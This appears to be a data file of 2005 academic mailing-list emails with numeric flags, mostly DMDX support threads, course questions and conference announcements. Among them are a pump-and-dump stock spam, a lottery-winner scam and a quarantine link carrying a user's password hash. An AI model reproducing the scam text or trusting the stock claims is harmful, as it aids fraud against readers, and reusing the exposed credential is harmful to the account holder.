which are guaranteed to contain the values of the measured quantities xi, we also have partial information about the probabilities of different values of these quantities. For example, * we may have bounds on the moments of the corresponding distributions, and/or * we may have bounds on the cumulative distribution functions; such bounds are called probability boxes, or p-boxes, for short. When we use the corresponding measurement results x1,...,xn to predict the value of the desired quantity y -- which depends on xi in a known way, as y=f(x1,...,xn) for a known algorithm f -- we need to know the resulting uncertainty in y. The talk overviewed several methods for describing such uncertainty. As a case study, the talk described the problem of predicting the cycle time y of a computer chip, the problem which is very practically useful and which is, at the same time, very difficult: * the time y is defined as the largest time of different operations; * the resulting function f involving max is thus not differentiable and hence, * the usually efficient linearization and Taylor-type techniques cannot be directly applied. The second problem is that in many application areas, when we apply statistical techniques to determine the population characteristics such as mean, variance, correlation, etc., we often use the actual measurement results as if they reflect the population that we are trying to analyze. In reality, after the measurements, the actual values of the measured quantities are often only known with the interval uncertainty. For different possible values xi from the corresponding intervals Xi, we get, in general, different values of the desired statistical characteristic C(x1,...,xn). It is therefore desirable to find the range of possible values of C when xi is in Xi. The talks described several algorithms for estimating this range. As a case study, the authors considered statistical analysis problems related to the analysis of microarrays data in bioinformatics, where: * some values are measured by well-calibrated sensors, so we know the corresponding probability distributions, while * for other inputs, like the percentage of cancer cells in the original sample, we only have expert estimates which come, at best, with interval uncertainty. The talk also discussed possible applications to processing geospatial data in geophysics. 3) A talk by Martine Ceberio and Olga Kosheleva (University of Texas at El Paso) described application of hybrid techniques in education, specifically, in processing results of educational experiments. Traditionally, researchers in math education process grades and expert estimates by using standard statistical techniques, techniques designed for the case when the processed values are exactly known. In reality, these inputs are often known with high uncertainty. For example, records often only reflect a letter grade (e.g., A or B), but an A grade can mean any number of points between 90 and 100, so letter grades really have interval uncertainty. Some parameters used in data processing, like level of knowledge, really come in terms of words from natural language (high, low, medium) which are then converted into exact numbers. It would be more appropriate, instead of representing these degrees as exact numbers, to use techniques like fuzzy logic which take the corresponding uncertainty into account. Since traditional pedagogical techniques do not take this uncertainty into account, many results of this data processing, while formally statistically correct, lead to counter-intuitive results, e.g., claiming that one teaching strategy is better when practitioners have an opposite feeling. As a result of this disconnect, there is, in the pedagogical community, a strong feeling of mistrust towards statistics and towards data processing in general. Because of this mistrust, serious analysis of numerical pedagogical results is sometimes replaced by humanitarian-level political discussions. It is therefore very important to take data uncertainty into account when processing pedagogical data. On the examples of teaching-oriented statistical data processing, the talk describes how interval, probabilistic, and fuzzy uncertainty in the inputs can be taken into account -- so that, e.g., in case of interval uncertainty in the inputs, we should come up not with a single number for covariance, but rather with the interval of possible values of covariance. 4) The talk ""Mediative fuzzy logic: a novel approach for handling contradictory knowledge"" by Oscar Montiel, Oscar Castillo, Patricia Melin, and Roberto Sepulveda (Tijuana Institute of Technology CITEDI-IPN) analyzes a new problem that does not appear in usual applications of interval computations -- when we mainly deal with measurement-related guaranteed intervals -- but which becomes important when we use interval computations to process intervals provided by experts. One problem with such expert-provided intervals is that experts sometimes underestimate the inaccuracy of their estimates. As a result, two expert-produced interval estimates for the same physical quantity may have an empty intersection. In normal interval computations, this would be an indication that we must stop computations and indicate, to the experts, that there is a problem with their estimates. However, since such problems are common in expert estimates, it is desirable to continue computations -- while still informing experts about the inaccuracy of their estimates, so that later on, it will be easier and faster to make corrections to the computation results rather than re-do all the computations from scratch. In general, if two experts provide estimates [a,A] and [b,B], then our conclusion is that that the actual value belongs to the intersection [max(a,b),min(A,B)] of these two intervals. If the intersection is actually empty, i.e., if max(a,b)>min(A,B), this means that the experts are underestimating the widths of the corresponding intervals. In order to make intervals consistent, we can, for example, add some fixed width d to the both sides of all intervals, resulting in extended intervals [a-d,A+d] and [b-d,B+D] whose intersection is the interval [max(a,b)-d,min(A,B)+d]. This extra width d should be selected in such a way as to make the resulting estimates consistent. It can only be determined when all the computations are done. On the intermediate computation stages, we can still deal with original (underestimated) intervals, but we can interpret every such interval [a,A] as a short-hand for the actual (future) estimate [a-d,A+d], for some value d which will be determined only later. >From this viewpoint, when we have two intervals [a,A] and [b,B] with an empty intersection, this intersection should be represented not as a empty set but rather as an ""improper"" interval [max(a,b),min(A,B)], improper in the sense that its lower endpoint is actually larger than its upper endpoint. Improper intervals are known in interval community, this seems to be an interesting new application of these intervals. The talk also described how to handle this situation when, instead of only interval uncertainty, we also have fuzzy uncertainty. LOCATION The Northern part of Baja California is known for its nice Mediteranian climate. This climate makes it a resort area beloved by vacationing tourists; it is also perfect for year-round living. While attending the conference, we enjoyed the nice weather. The area around Tijuana is also famous for its seafood, especially local lobsters, which we also enjoyed immensely. NEXT MEETING The next HAFSA-organized meeting will be held on June 20-23, 2007, in another gorgeous location: Cancun, Mexico. This time, HAFSA will host the World Congress of the International Fuzzy Systems Association (IFSA). Interval-related talks are very welcome. See you all in Cancun! Oscar Castillo, Patricia Melin, and Vladik Kreinovich ",0,0 soshtw wvnefpxd ,regina@cs.utexas.edu,"Wed, 26 Oct 2005 22:08:17 +0100",Impressive outlook for NEW PICK friday it isday [BREAKING NEWS NEW PICK friday it is] earmarks lowest,"Infinex Ventures Inc. (INFX) Current Price: 0.79 The Rally has begun Watch this one like a hawk, this report is sent because the potential is incredible H U G E N E W S read below S T R O N G B U Y COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. Grounded in natural resource exploration, Inifinex also offers investors access to exciting new developments in the high-tech sector and the booming international real estate market. Our market based experience, tenacious research techniques, and razor sharp analytical skills allow us to leverage opportunities in emerging markets and developing technologies. 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Regards Amin ------------------------------------------------------------------------- Mohammad Amin Khoshlessan School of Cognitive Sciences Institute for Studies in Theoretical Physics and Mathematics (IPM) Niavaran Po.Box:19395-5746,Tehran,Iran ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Oct 2005 08:40:22 -0700",[DMDX] Re: High-Low frequencies,"At 06:13 PM 10/27/2005 +0330, you wrote: >hi >I need to have control on the frequency of different tones in my design. Is >there any command for producing auditory stimuli with various desired >frequencies? No. You'll need to synthesize waveforms and play them instead. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Real software engineers work from 9 to 5, because that is the way the job is described in the formal spec. Working late would feel like using an undocumented external procedure. ",0,0 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Thu, 27 Oct 2005 09:40:26 -0500",[CS382M:31] Re: today's lecture,"Kartik, kudos on the Burroughs reference. I love it whenever I see someone who has taken an interest in computer history. :) I've always found that historic computer architects were incredibly creative at solving problems. - Jeff ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 27 Oct 2005 14:13:45 -0400","US-CERT Cyber Security Bulletin SB05-299 -- Summary of Security Items from October 19 through October 25, 2005 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from October 19 through October 25, 2005 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from October 19 through October 25, 2005, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ2EX9H0pj593lg50AQIr4Af+IwVSGjncib5e6xELkgP8KUQPYmogpMUz WKUVXisIrPvpf+Q9tix7/GZJMIfogPftY1czoSW79Tr6H8HWFMe3nNO67sfEtHii qIMXo0arjAF46pxyAP6ukNi8newLeNhcb6WlpFCBnBR7jHEB7qHTM1qTWWmvkl7G nZh4hnOO5/0Ds4ctx2SPQ2akBsAaz8E0TiseLeEPH6JHb/hs5QurtVQXJhSbqggJ 6WV4ZDP5PKiMAXgpy50pa8E4c9VRAHoiojI72KaHfSzNQGBId/x+bqAPUYbdHO3y YR2HP3eqGSqyvEPk7YPNIttSGv+4RsZUw6YjXPM/xkv1fz59PovTIA== =EIkZ -----END PGP SIGNATURE-----",0,1 rtroxel@uoregon.edu,rtroxel@uoregon.edu,"Thu, 27 Oct 2005 14:16:41 -0700",Scantrons,"We have yet to receive the Scantrons back from scanning services. We will not be able to make them available to you until we do. I will send another email and/or post an announcemnt when they arrive. ",0,0 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Oct 2005 17:48:44 -0400",[DMDX] 16-bits or 32-bits,"Hello, I have had a problem with the computer I was running DMDX on. It seems my experiment was crashing (screen ws going black and even Ctrl+Alt+Del would not get me out of there) after the third item. It would not do that the first time I ran an item file, but the second time it would...systematically. I thought this may be related to my graphics card because I am running a masked priming expt with very fast prime presentation (2, 4 or 5 ticks and 1 tick = 6,65ms). I changed the configuration of my display screen from 32-bits color setting to 16-bits and that seems to have fixed the problem. My question is, will changing this parameter affect the reliability of timings in my experiment in any way? Thanks! Nathalie -- Nathalie Bélanger Ph.D. Student School of Communication Sciences and Disorders McGill University 1266 Avenue des Pins ouest Montréal, Québec Canada H3G 1A8 Tel.: (514) 398-6895 ",0,0 Michelle Lim ,DMDX@psy1.psych.arizona.edu,"Fri, 28 Oct 2005 10:14:36 +1000",[DMDX] Stroop responses,"Hi there I am attempting to run the emotional stroop task on DMDX at the moment and have run into a few problems. The task requires a fixation cross ""+"" to be presented for 500ms before a coloured word (stimuli) is presented. The subject is required to respond what colour the word is (4 responses - red, green, blue, yellow)as quickly as possible. I need the presented word to disappear immediately once a response is entered. I don't seem to be able to do that. There is a delay after the subject responds and i suspect that it is being presented at 500ms (like the fixation cross). What am i missing? This is my parameters: N16 An example of what i have next: 0 “Practice Items” ; 0 “Press SPACEBAR to start”; +101 <%ms 500> “+” / *“Happy”/; +102 <%ms 500> “+” / *“Follow”/; Thanks Michelle",0,0 Michael Halcrow ,cs382m@lists.cc.utexas.edu,"Thu, 27 Oct 2005 19:25:41 -0500",[CS382M:32] HW#4 Question 3b,"Should be really be using Figure 5.47 as a model for our diagram? It would seem that 5.37 would be more appropriate. Mike .___________________________________________________________________. Michael A. Halcrow Security Software Engineer, IBM Linux Technology Center GnuPG Fingerprint: 419C 5B1E 948A FA73 A54C 20F5 DB40 8531 6DCA 8769 ""Security experts are an insignificant asset to protect."" - Hans Reiser ",0,0 """Kartik K. Agaram"" ",Michael Halcrow ,"Thu, 27 Oct 2005 19:51:59 -0500",[CS382M:33] Re: HW#4 Question 3b,"Yes, please use 5.37 as your model for question 3b. (Unless Steve disagrees.) Thanks for spotting this, Mike. On Thu, 27 Oct 2005, Michael Halcrow wrote: > Should be really be using Figure 5.47 as a model for our diagram? It > would seem that 5.37 would be more appropriate. > > Mike ",0,0 Jeff Diamond ,cs382m@lists.cc.utexas.edu,"Thu, 27 Oct 2005 21:36:01 -0500",[CS382M:34] HW#4 Question 4b,"Kartik, the question asks about the most important feature of ""instruction set architectures"" - so does this mean we're not talking about any aspects of the physical architecture, but rather, the only graphics instruction set, e.g. Cg? - Jeff ",0,0 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Fri, 28 Oct 2005 00:14:22 -0500",[CS382M:35] Re: HW#4 Question 4b,"Cg is a high level language, not an ISA. Yes, focus on ISA, not microarchitecture. We aren't expecting an answer about what the ISAs out there have, but what any graphics ISA *should* have. -k On Thu, 27 Oct 2005, Jeff Diamond wrote: > Kartik, the question asks about the most important feature of ""instruction > set architectures"" - so does this mean we're not talking about any aspects of > the physical architecture, but rather, the only graphics instruction set, > e.g. Cg? > - Jeff ",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Fri, 28 Oct 2005 09:52:17 +0100",[DMDX] RE: Stroop responses,"Dear Michelle, I'm running a similar experiment at the moment. I used the command to get past your ""clear the display as soon as the participant responds"" problem. Below is some sample code. Good luck with that, Andy. $0 ""instructions"";$ =1 ""CROSS"" / / * ""ALAF263_fb"", ""KAEM361_mb"" ;",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Oct 2005 07:54:00 -0700",[DMDX] Re: 16-bits or 32-bits,"At 05:48 PM 10/27/2005 -0400, you wrote: >Hello, > >I have had a problem with the computer I was running DMDX on. It seems my >experiment was crashing (screen ws going black and even Ctrl+Alt+Del would >not get me out of there) after the third item. It would not do that the >first time I ran an item file, but the second time it >would...systematically. I thought this may be related to my graphics card >because I am running a masked priming expt with very fast prime >presentation (2, 4 or 5 ticks and 1 tick = 6,65ms). I changed the >configuration of my display screen from 32-bits color setting to 16-bits >and that seems to have fixed the problem. My question is, will changing >this parameter affect the reliability of timings in my experiment in any way? Patently if changing the screen color depth changes whether the graphics driver crashes or not anything is possible. Typically on a functioning computer I wouldn't ever expect the color depth to effect timing however. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you want to know what god thinks of money, just look at the people he gave it to. - Dorthy Parker ",0,0 N P LOTERIJ ,DMDX@psy1.psych.arizona.edu,"Sun, 26 Sep 2004 14:58:00 -1000",WINNING NOTIFICATION !!!,"ATTENTION: Winner. We are pleased to inform you of the release, of the long awaited results of the NATIONALE POSTCODE LOTERIJ PROGRAM held on the 7th APRIL 2006.You were entered unaware as a dependent participants with: Reference Number: NL/BCC 00024355, and Batch Number NL/71606/NPL.Your email address attached to the ticket number: 93977, Serial# REC021.Draw Lucky # 8754654 that drew the lucky winning number, which consequently won the Postcode Loterij in the first category In three parts. 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To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=7e3aee14c8fad3fcb2b811c78f5fc397&et=1131015971&locale= ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 29 Oct 2005 07:15:17 -0700",[DMDX] millisecond timer," I'm seeing reports on the developers list server again of timing inaccuracies in the function that DMDX uses for it's millisecond clock, namely QueryPerformanceCounter(). This time around it would appear that some systems that use AMD's X2 dual core CPUs have the problem. QueryPerformanceCounter() can use a number of different sources as it's clock, notably either the 3.5Mhz PCI clock or the RTDSC that's part of the CPU whose frequency these days tends to be in the GHz range as it's tied to the CPU's clock frequency. And therein lies the original problem on laptops as today's CPUs change their frequency to control their temperature so the frequency of our timers change too -- way bad. Now we have these dual core CPUs where there are two RTDSC counters and they are not synchronized so the timer can leap ahead billions of counts (a second or two) and then leap back. Which is why the TimeDX Millisecond Timer Test is there so there's a chance people will detect the problem. A lot of machines seems to forgo using the RTDSC and instead use the 3579545 Hz PCI based one which as far as we know is stable so if you see TimeDX reporting that frequency you're golden. If you see a much higher frequency and you have a desktop that's not a dual core machine you're still fine, otherwise you need to check that the millisecond timer test doesn't report something along these lines: Performance Counter went backwards by 1234.5678ms! This machine will not be able to run DMDX at all well. It's possible I can add code to DMDX to handle this but I don't want to as it will add a significant performance penalty -- I'm certainly not going to do it till someone reports having a machine with the problem (it's not all AMD X2 machines). There's a good bit of pressure being put on MS both from within and without to fix this so hopefully I won't have to resort to chicanery, right now it's wait and see. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you want to know what god thinks of money, just look at the people he gave it to. - Dorthy Parker ",0,0 Alberto Yorio ,DMDX@psy1.psych.arizona.edu,"Sat, 29 Oct 2005 11:59:03 -0700",[DMDX] problems with the Pio Card?," Dear J.C. Forster I have a PCI-DIO24 card installed on a computer that runs program DMDX. (Windows XP) When I execute the DMDX test program And I select the Pio test, the indication “InstaCal Board 0 Pci-Dio 12” appears in the Pio address of the screen picture that displays the DMDX-test. Soon, when I select ""start"" the indicating squares of the output bits change their appearance (from gray color to white color), but the indicating squares of the input bits did non change. All of input the indicators(e.g. 0-REQ, 1-NEG, 2-POS, 3-TAPE, 4-VOX,..., etc) maintain the sign ""?"" Is correct this answer? Is there something wrong made in the installation of the card or the execution of the test? Thank you in advance --------------------------------- Yahoo! FareChase - Search multiple travel sites in one click. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 29 Oct 2005 13:24:34 -0700",[DMDX] Re: problems with the Pio Card?,"At 11:59 AM 10/29/2005 -0700, you wrote: >Dear J.C. Forster ""urn:schemas-microsoft-com:office:office"" /> > >I have a PCI-DIO24 card installed on a computer that runs program DMDX. >(Windows XP) > >When I execute the DMDX test program And I select the Pio test, the >indication ""InstaCal Board 0 Pci-Dio 12"" appears in the Pio address of the >screen picture that displays the DMDX-test. Odd, ours appears as ""InstaCal Board 0 PCI-DIO24"". You sure yours has 12 in it and not 24? >Soon, when I select ""start"" the indicating squares of the output bits >change their appearance (from gray color to white color), but the >indicating squares of the input bits did non change. All of input the >indicators(e.g. 0-REQ, 1-NEG, 2-POS, 3-TAPE, 4-VOX,..., etc) maintain the >sign ""?"" > >Is correct this answer? Is there something wrong made in the installation >of the card or the execution of the test? No, the input boxes should all have ""high"" or ""low"" in them. Perhaps your card doesn't have input on it or if it does it's somehow been disabled by the InstaCal software. I'd go back to the InstaCal stuff and check all the settings. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you want to know what god thinks of money, just look at the people he gave it to. - Dorthy Parker",0,0 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Sat, 29 Oct 2005 13:33:02 -0600",Finite Element Methods conference call for papers: forwarding ,"Please notice an emphasis on interval methods. Vladik ********************************************** NSF-supported conference Finite Element Methods in Engineering and Science FEMTEC 2006 - CALL FOR PAPERS http://servac.math.utep.edu/femtec_2006/ WELCOME The NSF-supported conference Finite Element Methods in Engineering and Science (FEMTEC 2006) will take place at the University of Texas at El Paso on December 11 - 15, 2006. The goal of FEMTEC 2006 is to advance the frontiers in performance and reliability of finite element methods, as well as in their application to computational engineering and science. The main topics of the meeting will include the following areas of emerging importance: MAIN TOPICS * Reliability, validation, and verification of FEM models * Uncertainty: Interval and probabilistic FEM * Higher-order methods: Spectral and hp-FEM * Enriched and extended methods (X-FEM) * Advanced engineering and scientific applications Expected size of the meeting is 8 invited plenary lectures, 30 contributed talks, and several poster presentations. Participation of students, young researchers, women, under-represented minorities and people with disabilities is encouraged. A limited number of travel grants is available. ABSTRACTS All participants presenting an oral contribution or poster are asked to submit a one-page abstract via the Pre-Registration section of this web page until the end of March 2006. Abstracts must be written using our Latex template available at the conference website. Book of Abstracts will be distributed to participants at registration. PRESENTATIONS * Invited plenary lectures: 50 minutes followed by 10 minutes of discussion. * Contributed talks: 25 minutes followed by 5 minutes of discussion. * Poster presentations: Posters will be exhibited during the entire meeting. Maximum format of a poster is A0 (33.11 X 46.81 inches, 841 X 1189 mm). Best poster prize will be awarded during the Farewell party on Thursday. The scientific committee reserves the right to decide about the form of contributed presentations. PROCEEDINGS The proceedings will appear as a special issue of J. Comput. Appl. Math. (ISSN 0377-0427). Papers will be written according to journal's standards (see the JCAM's web page http://www.elsevier.com/wps/find/journaldescription.cws_home/505613/desc ription#description). Page limit for both the invited and contributed papers will be announced later. Each paper will be subject to standard review process. Papers originated in posters and oral contributions will be subject to the same procedure. CONFIRMED INVITED SPEAKERS Ivo Babuska (ICES, UT Austin) Ted Belytschko (Northwestern University) Pavel Bochev (Sandia National Labs) Roland Glowinski (University of Houston) Weimin Han (University of Iowa) George Karniadakis (Brown University) Rafi Muhanna (Georgia Tech) IMPORTANT DATES Registration open: November 1, 2005 On-line abstract submission: March 30, 2006 Acceptance notification: May 31, 2006 Payment of early conference fee: August 31, 2006 Final paper submission: to be announced later REGISTRATION FEE * Early registration fee: $200. Applies when payment is received before August 31, 2006. * Late registration fee: $300. Applies when payment is received after August 31, 2006. After December 4 the late fee must be paid on-site at the registration desk. * Student rate: $0. This rate applies to undergraduate, graduate, and Ph.D. students who present either a poster or an oral contribution. Valid student ID must be presented at registration. FINANCIAL SUPPORT FOR STUDENTS Limited number of travel grants is available for students. In order to qualify for financial support, students must be presenting either a poster or an oral contribution. Candidates are asked to send their GPA, short resume (which may include list of publications, awards, or other achievements), and the amount requested, to the e-mail address femtec2006@math.utep.edu. The receipt for the fare presented at registration should not exceed the previous estimate. REGISTRATION FEE COVERS * Conference badge, bag, and materials * Continental breakfast Monday - Friday * Lunch Monday - Friday * Morning and afternoon coffee breaks * Welcome party * Concert (Baroque, Spanish, and Latin American guitar) * Excursion to White Sands National Monument and White Sands Missile Range. Includes a lunch and wine tasting at the La Vina Winery in La Union, NM. This trip is not included in the student registration fee. * Farewell party ACCOMMODATION The best choices for accommodation are a Hilton hotel on campus (approximate rate $120 + tax) and the hotel Camino Real located approximately one mile from campus (approximate rate $80 + tax). A shuttle service will be provided to Camino Real. Hotel reservations will be done by the conference staff based on information submitted in the registration form. Accommodation is not included in the registration fee. SCIENTIFIC COMMITTEE M. Feistauer (Charles University) J.-L. Guermond (Texas A&M University) J. Hesthaven (Brown University) R. Hoppe (University of Houston) Y. Kuznetsov (University of Houston) J. Mandel (University of Colorado at Denver) P. Monk (University of Delaware) R.L. Mullen (CWRU) R. Scott (University of Chicago) T. Strouboulis (Texas A&M University) B.A. Wingate (Los Alamos National Labs) LOCAL ORGANIZING COMMITTEE Pavel Solin (Math. Sciences) Jack Chessa (Mech. Engineering) Vladik Kreinovich (Computer Science) Martin Zitka (Math. Sciences) CONTACT INFORMATION Mailing Address: FEMTEC 2006 Department of Mathematical Sciences The University of Texas at El Paso 500 West University El Paso, TX 79968 E-mail (preferable) femtec2006@math.utep.edu Phone (915) 747-5761 Fax (915) 747-6502 ",0,1 """Kreinovich, Vladik"" ","reliable_computing@interval.louisiana.edu, interval@listserv.utep.edu","Sat, 29 Oct 2005 15:07:24 -0600",FW: WoLLIC'2006 - Call for Papers," Dear Friends, This is a CFP for a prestigious conference which attracts top researchers in logic and complexity. This time it is at Stanford in July 2006. This may be a good opportunity for us to showcase modal interval computations and other applications of modal logic to control etc. We know about it but most logicians are not that familiar with it, and since there are not so many novel practical applications of logic, this may be of great interest to them. Please let me know if there is an interest. Vladik -----Original Message----- From: Ruy de Queiroz Call for Papers 13th Workshop on Logic, Language, Information and Computation (WoLLIC'2006) Stanford, CA, USA July 18-21, 2006 Scientific Co-Sponsorship IGPL, FoLLI, ASL, EATCS, SBC, SBL (PROCEEDINGS AS A VOLUME OF ""Electronic Notes in Theoretical Computer Science"" (Elsevier)) THE EVENT The ""13th Workshop on Logic, Language, Information and Computation"" (WoLLIC'2006), the twelfth version of a series of workshops (http://www.cin.ufpe.br/~wollic) which started in 1994 with the aim of fostering interdisciplinary research in pure and applied logic, will be held in Stanford, CA, USA, July 18-21, 2006. SCOPE Contributions are invited in the form of short papers (12 10pt pages) in all areas related to logic, language, information and computation, including: . context and situation theory . formal semantics of natural language . information update and belief revision; agent systems . logic, arithmetic and complexity . logic and databases . logic and game theory . logic and verification . logic programming and algebraic semantics . logical grammars . model theory, descriptive complexity . proof complexity . proof theory, lambda calculus, categorical logic . real computation, algebraic complexity . set theory . zero-knowledge proofs, probabilistic proofs, randomized computation SCIENTIFIC SPONSORSHIP The 13th WoLLIC'2006 has the scientific sponsorship of the Association for Symbolic Logic (ASL), the Interest Group in Pure and Applied Logics (IGPL), the European Association for Logic, Language and Information (FoLLI), the European Association for Theoretical Computer Science (EATCS), the Sociedade Brasileira de Computacao (SBC), and the Sociedade Brasileira de Logica (SBL). GUEST SPEAKERS Eli Ben-Sasson (Comput Sci Dept, Technion Inst of Technology, Israel) Solomon Feferman (Depts of Math and Philosophy, Stanford Univ, USA) Yuri Gurevich (Microsoft Research, USA) Ulrich Kohlenbach (Dept of Math, Darmsdadt Univ of Technology, Germany) Thomas Scanlon (Maths Dept, Univ Calif at Berkeley, USA) Andre Scedrov (Dept of Math, University of Pennsylvania, USA) THE LOCATION (to be confirmed) SUBMISSION Papers (up to 12 pages 10pt) must be submitted via the web page http://www.cin.ufpe.br/~wollic/wollic2006/instructions.html/ by February 21st, 2006 (WARNING: Titles and abstracts must be registered at the same webpage by FEBRUARY 14th, 2006!). Papers must be written in English and give enough detail to allow the programme committee to assess the merits of the work. Papers should start with a brief statement of the issues, a summary of the main results, and a statement of their significance and relevance to the workshop. References and comparisons with related work is also expected. Technical development directed to the specialist should follow. Results must be unpublished and not submitted for publication elsewhere, including the proceedings of other symposia or workshops. One author of each accepted paper will be expected to attend the conference in order to present it. Authors will be notified of acceptance by APRIL 21st, 2006, and final versions for the proceedings will have to be delivered (in LaTeX format) by MAY 12th, 2006. The abstracts of the papers will be published in a ""Conference Report"" section of the Logic Journal of the IGPL (ISSN 1367-0751) (Oxford Univ Press, web page: http://www.oup.co.uk/igpl) as part of the meeting report. The proceedings will appear as a volume in the Elsevier series ""Electronic Notes in Theoretical Computer Science"" (http://www.elsevier.nl/locate/entcs). Full version of papers will be refereed again for publication in a special issue of the Annals of Pure and Applied Logic (TO BE CONFIRMED). STUDENT GRANTS ASL sponsorship of WoLLIC'2006 also will permit student ASL members to apply for (limited) ASL travel funds that we hope to make available for sponsored meetings that take place in 2006 (see http://www.aslonline.org/studenttravelawards.html) IMPORTANT DATES February 14th, 2006: Paper registration deadline (with short abstracts) February 21st, 2006: Paper submission deadline April 21st, 2006: Author notification May 12th, 2006: Delivery of final version PROGRAMME COMMITTEE Jeremy Avigad (Department of Philosophy, Carnegie Mellon University, USA) Johan van Benthem (ILLC, Univ Amsterdam, and Dept Phil, Stanford Univ, USA) Martin Davis (Courant Institute of Mathematical Sciences, NYU, USA) Keith Devlin (CSLI Stanford, USA) Edward A. Hirsch (St.Petersburg Dept of Steklov Inst of Mathematics, Russia) Greg Hjorth (Dept of Math, Univ Calif at Los Angeles, USA) David Israel (SRI International, Stanford, USA) Vladik Kreinovich (Dept of Computer Science, Univ of Texas at El Paso, USA) Leonid Levin (Dept of Computer Science, Boston University, USA) Grigori Mints (Dept Philosophy, Stanford Univ, USA) (CHAIR) Itay Neeman (Dept of Math, Univ Calif at Los Angeles, USA) Hiroakira Ono (Japan Advanced Institute of Science and Technology, Japan) Stanley Peters (Dept Linguistics, Stanford Univ, USA) Wolfram Pohlers (Inst f. math. Log. und Grundl., WWU Muenster, Germany) Vaughan Pratt (Computer Sci Dept, Stanford Univ, and Tiqit Computers, USA) Thomas Scanlon (Mathematics Dept, Univ of California at Berkeley, USA) ORGANISING COMMITTEE Anjolina G. de Oliveira (Centro Informatica, Univ Fed Pernambuco, Brazil) (*) Valeria de Paiva (PARC, USA) (Co-Chair) Marc Pauly (Dept of Philosophy, Stanford Univ, USA) Ruy de Queiroz (Cent Informatica, Univ Fed Pernambuco, Brazil)(Co-Chair)(**) (*) Visiting Scholar at CSLI Stanford, Jan-Dec 2006. (**) Edward Larocque Tinker Visiting Professor at Dept Philosophy, Stanford Univ, Jan-Jun 2006, and Visiting Scholar Jul-Dec 2006. FURTHER INFORMATION Contact one of the Co-Chairs of the Organising Committee. WEB PAGE http://www.cin.ufpe.br/~wollic/wollic2006/ ",0,1 Slava Nesterov ,RC mailing list ,"Sun, 30 Oct 2005 14:15:47 +0300","Re: Reliable Computing, Vol.12, issue 2, 2006"," Reliable Computing Volume 12, issue 2, 2006 Mathematical Research A Contribution to the Feasibility of the Interval Gaussian Algorithm Guenter Mayer 79-98 Regularity of Interval Matrices and Theorems of the Alternatives Jiri Rohn 99-105 A Method for Outer Interval Solution of Systems of Linear Equations Depending Linearly on Interval Parameters Iwona Skalna 107-120 Outer Interval Solution of the Eigenvalue Problem under General Form Parametric Dependencies Lubomir V. Kolev 121-140 Application Efficient Task Scheduling in the Parallel Result-Verifying Solution of Nonlinear Systems Thomas Beelitz, Bruno Lang, Christian H. Bischof 141-151 Information Dealing with Imprecise Probabilities: Interval-Related Talks at ISIPTA'05 153-165 Second Scandinavian Workshop on Interval Methods and Their Applications 167-169 ",0,0 Zheng Zhijie ,reliable_computing ,"Sun, 30 Oct 2005 21:34:14 +0800",How to avoid the result of ODEs prone to blow-up,"Dear Friends, I want to solve ODEs use Interval Arithmeric, but the reult prone to blow-up. Is there any method to avoid that? 　　　　　　　　Zheng Zhijie 　　　　　　　　workhere@126.com 　　　　　　　　　　2005-10-30 ",0,0 Jacques Carette ,workhere@126.com,"Sun, 30 Oct 2005 09:56:02 -0500",Re: How to avoid the result of ODEs prone to blow-up,"You really have to first prove that your ODEs are not sensitive to initial conditions. If it is, them blowing up is built-in to the ODE, and no method will help you. Or, if you find one that does, then it just demonstrated that it is not 'reliable'! If you can show that your ODE is relatively stable, then there are methods that can help. This has been discussed on this list multiple times - read http://interval.louisiana.edu/reliable_computing.txt on how to access the archives. There certainly are many experts here who can help you with this problem, if it is solveable. Speaking of which, it would be really nice if the archives were web-accessible. Are there any plans to do this? Jacques Zheng Zhijie wrote: >Dear Friends, > >I want to solve ODEs use Interval Arithmeric, >but the reult prone to blow-up. > >Is there any method to avoid that? > > >　　　　　　　　Zheng Zhijie >　　　　　　　　workhere@126.com >　　　　　　　　　　2005-10-30 > > > ",0,1 Hans Schneider ,"NETS -- at-net , E-LETTER , Pradeep Misra , Shaun Fallat , ""na.digest"" , ipnet-digest@math.msu.edu, Michael.Unser@epfl.ch, SIAGLA-DIGEST , hjt@eos.ncsu.edu, SMBnet@smb.org, vkm@eedsp.gatech.edu, reliable_computing@interval.louisiana.edu","Fri, 28 Oct 2005 11:41:58 -0500",LAA contents,"* Linear Algebra and its Applications Volume 411, Pages 1-390 (1 December 2005) Special Issue on Determinants and the Legacy of Sir Thomas Muir Edited by Wayne Barrett, Samad Hedayat, Christian Krattenthaler and Raphael Loewy http://www.sciencedirect.com/science/issue/5653-2005-995889999-609098 This issue and all other issues of LAA are now available from ScienceDirect (http://www.sciencedirect.com/) as are about 100 accepted articles in press. TABLE OF CONTENTS 1) Lists of Editors Pages ii-iii 2) Photo of Sir Thomas Muir Page xii 3) Preface Pages 1-2 Wayne Barrett, Samad Hedayat, Christian Krattenthaler and Raphael Loewy 4) Sir Thomas Muir, 1844--1934 Pages 3-67 Pieter Maritz 